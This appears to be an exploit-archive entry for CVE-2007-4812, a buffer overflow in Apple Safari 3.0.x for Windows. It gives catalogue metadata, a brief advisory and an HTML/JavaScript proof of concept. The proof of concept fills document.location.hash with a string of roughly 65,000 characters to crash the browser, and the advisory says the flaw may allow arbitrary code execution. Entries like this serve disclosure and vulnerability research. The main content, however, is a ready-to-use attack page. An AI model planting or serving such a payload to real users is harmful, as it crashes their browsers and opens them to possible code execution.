[] NeoSense

Apple Safari 3.0.x for Windows - 'Document.Location.Hash' Buffer Overflow

Author: Azizov E
type: dos
platform: windows
port: 
date_added: 2007-06-25 
date_updated: 2014-01-07 
verified: 1 
codes: CVE-2007-4812;OSVDB-43971 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/26448/info

Safari for Windows is prone to a buffer overflow that occurs when an attacker entices a victim to view a maliciously crafted webpage.

A remote attacker may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>